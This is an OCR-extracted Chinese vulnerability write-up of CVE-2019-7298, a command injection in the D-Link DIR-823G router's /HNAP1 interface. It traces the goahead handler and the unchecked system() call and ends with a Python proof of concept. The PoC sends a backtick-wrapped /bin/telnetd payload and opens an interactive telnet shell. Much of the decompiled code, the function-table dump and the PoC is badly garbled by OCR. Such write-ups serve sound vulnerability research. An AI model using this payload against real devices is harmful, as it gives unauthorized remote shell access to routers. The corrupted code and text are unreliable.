(CVE-2019-7298)D-Link DIR-823G 命令注入漏洞.docx
(CVE-2019-7298) D-Link DIR-823G 命令注入漏洞一、漏洞简介D-Link DIR 823G 1.02B03及之前的版本中存在命令注入漏洞,攻击者可通过发送 带有Sheil元字符的特制/HNAPl请求利用该漏洞执行任意的操作系统命令。在 HNAPAPl函数处理请求之前,SyStem函数执行了不可信的命令,触发该漏洞。二、漏洞影响D-Link DIR 823G 1.02B03 及之前的版本三、复现过程漏洞分析在每次内核启动之后将启动iit进程,init进程的启动时根据etcinittab这个文 件赖在不同运行级别启动相应的进程或执行相应的操作。其中SySinit代表系统的 初始化,只有系统开机或重新启动的时候,后面对应的ProCeSS才会执行一次。:sysinit:/etc/init.d/rcS在rcS中,先执行一些列mkdir和设置,执行了 goahead。goahead是一个开源的Web服务器,用户的定制性非常强。可以通过一些 goahead的api定义url处理函数和可供asp文件中调用的函数,具体可 以看看官方的代码示例和网上的一些教程。goahead的WebsUrlHandlerDefine函数允许用户自定义不同url的处理函数:WebsUrlHandlerDefine(T("/HNAPl"), NULL, 0, WebSHNAPHandler, 0);WebsUrlHandlerDefine(T(,7goform")i NULL, 0, WebsFormHandlerj 0); websUrlHandlerDefine(T("cgi-bin"), NULL, 0, WebsCgiHandler, 0);以上代表/HNAPl的请求交给WebSHNAPHandler函数处理,gofrom的请求交给 WebSFormHandler函数处理,cgi-bin的请求交WebSCgiHandler函数处理。这些 处理函数有统一的参数:int (*fn)(webs-t wp, ChaJt *url, char_t *path, char_t *query)WPWeb server connection handle.urlRequest URL.pathRequest pathportionoftheURL.queryQuery stringportionoftheURL.先了解/HNAPl请求的处理函数,在goahead中查找“HNAP1”字符串并通过Xref 定位处理函数sub.42383cSW Iui addiu move move Iui addiu jalJzero, 0xl48÷var-138(Jsp)$v0, ×4A)af $v0, (aHnapl - x4A) n -HNAP1"Sal, Jzero$a2, zero$v0, x42$a3. Svj (sub-42383C - ×42) WebsUrlHandlerOefinesub_4238c主要通过遍历全局的函数表来处理HNAPl接受的不同请求。 FunctionJist中每个元素的前四个字节为函数名,后四个字节为对应的函数地址。 当找到在FunctionJist中找到函数名与请求相同的字符串时,向varhnaplog中记 录Param_7的值,这个值但从汇编不太能看出,hackedbylh指出是POSt的报文, 在运行过程中查看varhnaplog能猜出来。之后调用对应的函数地址处理相关请 求。这里无论处理请求的函数名是什么,在找到之后会通过SnPrintf输入字符且未做检 查,之后直接system执行,存在命令注入漏洞。如果PoSt请求是7bintelnetd', 就会先开启telnet服务器,再讲字符写入hnaplog0while (funcJCr ! (char *)0x0)(C Btrtr(cAi > CM5241,f-nc-ptr);If (r ? <chAr )0x0)上aewet(citc<i 0, SOOOJ;InPrXdI- Fr .499,co f , >vr ,nplog-tpft'>-);sy>teB(1ctaci(5i.praf ("->hnapgtiac"(uadefLaed4 <paras_l 0x524); =r. " strfics (*Smcaaptrt Getlcc<D<ct0xb);if 0)(XWJSW £0.0,0x20”trncpy(tZAT_: 25SeCOf (char ) (p*ra*3 S30)r2x20); ) iVar; - (code )funcj>tr1> =);it <'-,r. 0) break;lOAD:M5SC$M 4nction-list: .word aSctaultiplactlGM):MSKSM.wordMb_43)7ttLADtMC68.Mord6etdevicesetti_4 wOetDevlceSettlngft*'LOAD:M5K56C.wordsb_432D2lOADi5K57<.word<topertUnao *6et0p*rtioc*todeIQAD:-74.wordMb_43"7LQADr*8C378.ord6t*Mrtconnecv4 -GtSrtcnctSettIngs*LOAD:SCSX.MrdS<b.464OO4LOADrWSSCSM.MordGetUplinkinteraGeUIplinb Interface,L0A07MCSM.word3to,3"48L0ADtWCM.wordLfis4"LCfln*LQM):M5KM(.worduba,42CMIOADtMSKSM.wrtfGetwlnrdM6*lGetMt nRAd ltt b)ff"L0ADt5SC54.wor<wb.4MXL0ADe9C.Mord6tcliminf-StCIieetXnfoeL0ADlC%9C.word,ub_447V94LADrWSB<SA.wordaSetclientinfo-«-SetClientXnfowL0M)rMCSM.wordsuba_447fMlW:.wordMlpdatecllentin_49wUpdeteCllentlnfowLOAD:MSKMC.wortfs4b.44S871(MD:W5K5M.word6etwlnrdiM.7"GeManRAdioSecurity*LQADie8C5M.wordMb.46K9.GAD:MSsC,B3.wordStdevicttiv»"S*tOeviceS<ttinfs"LOADiWStCSK.wordub_4M6ICL0A0M%8CSC.wordGetapeHentset-6etAll*ntS*ttingsLOD:MSeCSC6.wordsub_433CF8UMOtMMCSCS.wordSetpclieHtet-l"'SetAPClientSettinfseUMD:W5K5CC.wordMbjl3”XlQAD:W5K5M.wordS<twlnrdiMsll *5«tMLndIoSettingt*L0AD:M5K5<>4.M0<MMb>4642XOA0;KS0.wordSetwlnrdiosvU eSrtwLanRMJioWcurityeLQADlMKSOC.wordub.469F74lOM);M8CSC.word0etparentscont_l9-GetParentSControlInfoeUMD:.wordsub_46CA24LOAD:MSKSU.wordSetprent*cot-2-SetperentsControlInfo*LOADtMSKSeC.word»ub_46C£ML0AD:M5K5F«.wordaSetsrtconnectsaaSetSertco*ifWCtSettlng* >,4 .f .mm另外需要注意,POSt的数据要加上引号,因为echo'%s'> varhnaplog中本身带 了单引号,如果只是bintelnet,相当于echo ,'bintelnet', > varhnaplog 由于命令由引号括起,会当做字符串处理,不会执行命令而echo ,'bintelnet', > varhnaplogPoSt中的两个引号分别与自带的两个引号组合,反引号没有嵌套在单引号中,会 当做命令执行。poc import requests from pwn import *IP=,192.168.0.1command ="''bintelnetd''" length = Ien(Command)headers = requests. utils. default_headers()headers"Content-Length"=str(length)headers"User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; ×64) Appl eWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36" headers"SOAPAction" = 'http:/PUrenetW L ogin可以替换为任何在function_list中的函数名 headers,Content-Type" = "te×t×ml; Charset=UTF-8"headers"Accept"="*/*"headers"Accept-Encoding"="gzip, deflate"headers, Accept- Language"="zh-CN,zh;q=0.9,en;q=0.8" payload = commandr = requests.post('http:/,+IP+'HNAP1,i headers=headersj data=payload) print r.text p=remote(IP,23) p.interactive(